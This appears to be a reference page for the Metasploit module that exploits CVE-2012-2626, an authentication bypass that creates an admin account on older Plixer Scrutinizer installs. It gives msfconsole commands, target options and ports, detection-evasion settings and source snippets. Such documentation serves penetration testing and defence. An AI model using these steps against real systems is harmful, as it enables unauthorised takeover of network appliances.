Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass - Metasploit


This page contains detailed information about how to use the auxiliary/admin/http/scrutinizer_add_user metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass
Module: auxiliary/admin/http/scrutinizer_add_user
Source code: modules/auxiliary/admin/http/scrutinizer_add_user.rb
Disclosure date: 2012-07-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-2626

This will add an administrative account to Scrutinizer NetFlow and sFlow Analyzer without any authentication. Versions such as 9.0.1 or older are affected.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/http/scrutinizer_add_user
msf auxiliary(scrutinizer_add_user) > show targets
    ... a list of targets ...
msf auxiliary(scrutinizer_add_user) > set TARGET target-id
msf auxiliary(scrutinizer_add_user) > show options
    ... show and set options ...
msf auxiliary(scrutinizer_add_user) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • USERNAME: The username for your new account

  • PASSWORD: The password for your new account

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Msfconsole Usage


Here is how the admin/http/scrutinizer_add_user auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/http/scrutinizer_add_user

msf6 auxiliary(admin/http/scrutinizer_add_user) > show info

       Name: Plixer Scrutinizer NetFlow and sFlow Analyzer HTTP Authentication Bypass
     Module: auxiliary/admin/http/scrutinizer_add_user
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-07-27

Provided by:
  MC <[email protected]>
  Jonathan Claudius
  Tanya Secker
  sinn3r <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting     Required  Description
  ----       ---------------     --------  -----------
  PASSWORD                       yes       The password for your new account
  Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80                  yes       The target port (TCP)
  SSL        false               no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /cgi-bin/admin.cgi  yes       The path to the admin CGI script
  USERNAME                       yes       The username for your new account
  VHOST                          no        HTTP server virtual host

Description:
  This will add an administrative account to Scrutinizer NetFlow and 
  sFlow Analyzer without any authentication. Versions such as 9.0.1 or 
  older are affected.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2012-2626
  OSVDB (84318)
  https://www.trustwave.com/spiderlabs/advisories/TWSL2012-014.txt

Module Options


This is a complete list of options available in the admin/http/scrutinizer_add_user auxiliary module:

msf6 auxiliary(admin/http/scrutinizer_add_user) > show options

Module options (auxiliary/admin/http/scrutinizer_add_user):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   PASSWORD                       yes       The password for your new account
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                         yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80                  yes       The target port (TCP)
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cgi-bin/admin.cgi  yes       The path to the admin CGI script
   USERNAME                       yes       The username for your new account
   VHOST                          no        HTTP server virtual host

Advanced Options


Here is a complete list of advanced options supported by the admin/http/scrutinizer_add_user auxiliary module:

msf6 auxiliary(admin/http/scrutinizer_add_user) > show advanced

Module advanced options (auxiliary/admin/http/scrutinizer_add_user):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/http/scrutinizer_add_user module can do:

msf6 auxiliary(admin/http/scrutinizer_add_user) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/http/scrutinizer_add_user auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/http/scrutinizer_add_user) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

No response from server


Here is a relevant code snippet related to the "No response from server" error message:

51:	        'selectedUserGroup' => '1'
52:	      }
53:	    })
54:	
55:	    if not res
56:	      print_error("No response from server")
57:	      return
58:	    end
59:	
60:	    begin
61:	      require 'json'

Json is not available on your machine


Here is a relevant code snippet related to the "Json is not available on your machine" error message:

58:	    end
59:	
60:	    begin
61:	      require 'json'
62:	    rescue LoadError
63:	      print_error("Json is not available on your machine")
64:	      return
65:	    end
66:	
67:	    begin
68:	      j = JSON.parse(res.body)

error


Here is a relevant code snippet related to the "error" error message:

65:	    end
66:	
67:	    begin
68:	      j = JSON.parse(res.body)
69:	
70:	      if j['error']
71:	        print_error(j['error'])
72:	      elsif j['new_user_id']
73:	        print_good("User created. ID = #{j['new_user_id']}")
74:	      else
75:	        print_status("Unexpected response:")

error


Here is a relevant code snippet related to the "error" error message:

66:	
67:	    begin
68:	      j = JSON.parse(res.body)
69:	
70:	      if j['error']
71:	        print_error(j['error'])
72:	      elsif j['new_user_id']
73:	        print_good("User created. ID = #{j['new_user_id']}")
74:	      else
75:	        print_status("Unexpected response:")
76:	        print_status(j.to_s)

Unable to parse JSON


Here is a relevant code snippet related to the "Unable to parse JSON" error message:

74:	      else
75:	        print_status("Unexpected response:")
76:	        print_status(j.to_s)
77:	      end
78:	
79:	    rescue JSON::ParserError
80:	      print_error("Unable to parse JSON")
81:	      print_line(res.body)
82:	    end
83:	  end
84:	end

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References


See Also


Check also the following modules related to this module:

Authors


  • MC
  • Jonathan Claudius
  • Tanya Secker
  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

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